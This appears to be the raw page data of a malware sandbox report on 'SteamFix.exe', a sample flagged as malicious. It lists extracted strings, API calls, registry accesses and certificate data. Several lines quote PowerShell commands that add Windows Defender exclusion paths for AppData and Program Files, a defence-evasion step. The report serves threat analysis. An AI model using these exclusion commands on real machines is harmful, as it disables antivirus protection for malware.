26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 69:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dump:Generic.Dacic.18086 Sample d385b52bdd62… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d385b52bdd62…. Malware family: Dump:Generic.Dacic.18086. Threat score 100/100. 14/27 AV engines flagged this file. 18 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d385b52bdd628dfbdcc80a44aea9635223f2b4206066f717948e0986b9c60b60","keywords":["Malicious","Dump:Generic.Dacic.18086","malware analysis","sandbox report","threat intelligence","d385b52bdd628dfbdcc80a44aea9635223f2b4206066f717948e0986b9c60b60"],"about":{"@type":"SoftwareApplication","name":"SteamFix.exe","applicationCategory":["peexe","executable"],"identifier":"d385b52bdd628dfbdcc80a44aea9635223f2b4206066f717948e0986b9c60b60","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dump:Generic.Dacic.18086","antivirusDetections":{"malicious":14,"total":27},"behavioralIndicators":{"malicious":18,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1269,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.07342000.00000004.mdmp, 00000000-00006948.00000001.197689.08102000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000000.196737.04CC0000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "$errorCategory = [System.Management.Automation.ErrorCategory]::InvalidArgument" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "$errorRecord = [System.Management.Automation.ErrorRecord]::New($exception, $errorId, $errorCategory, $null)" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -Er2" (Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp, 00000000-00006948.00000001.197689.08102000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "System.Management.Automationn" (Source: "00000000-00006948.00000000.196737.07342000.00000004.mdmp, 00000000-00006948.00000001.197689.07342000.00000004.mdmp")28:T84e,file/memory contains long string with (Indicator: "add-mppreference"; File: "AMSI") Found reference string "Add-MpPreference -ExclusionPath $updpath" (Indicator: "add-mppreference"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $ProgramFilesX86" (Indicator: "add-mppreference"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $AppData" (Indicator: "add-mppreference"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $LocalAppData" (Indicator: "add-mppreference"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $updpath" (Indicator: "add-mppreference"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $ProgramFilesX86" (Indicator: "add-mppreference"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $AppData" (Indicator: "add-mppreference"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $LocalAppData" (Indicator: "add-mppreference"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $updpath" (Indicator: "add-mppreference"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $ProgramFilesX86" (Indicator: "add-mppreference"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $AppData" (Indicator: "add-mppreference"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference string "Add-MpPreference -ExclusionPath $LocalAppData" (Indicator: "add-mppreference"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp")29:T560,Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp")2a:T60f,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "SteamFix.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp")2b:T7db,file/memory contains long string with (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'" (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp")2c:T12c0,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp, 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp, 00000000-00000992.00000001.197869.27850000.00000004.mdmp, 00000000-00000992.00000003.204420.29850000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp")2d:T481,Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000000.196737.07342000.00000004.mdmp, 00000000-00006948.00000001.197689.07342000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "SHA384"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "SHA512"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "TripleDES"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found reference to "if ($Algorithm -eq "MACTripleDES")" (Indicator: "TripleDES"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found reference to "[System.Security.Cryptography.HashAlgorithm]" (Indicator: "HashAlgorithm"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp")2e:T6b0,"SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\LOCALSERVER") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\ELEVATION") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\ELEVATION") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "SteamFix.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER32") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER32")2f:T9ed,"SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1551513445 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1551521714 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1551684772 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1551693929 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552195414 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552204103 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552388285 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552396477 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552829280 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1552841712 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1553026594 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1553035079 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1553645789 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1553654130 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1562211090 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1562218682 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1563979263 [PID: 8176] "SteamFix.exe" queried SystemProcessInformation at 00000000-00008176-00000C15-1563988621 [PID: 8176] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1564881812 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1564889795 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1565025462 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1565033257 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1565517857 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1565526388 [PID: 992] "SearchUI.exe" queried SystemProcessInformation at 00000000-00000992-00000C15-1565704775 [PID: 992]30:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b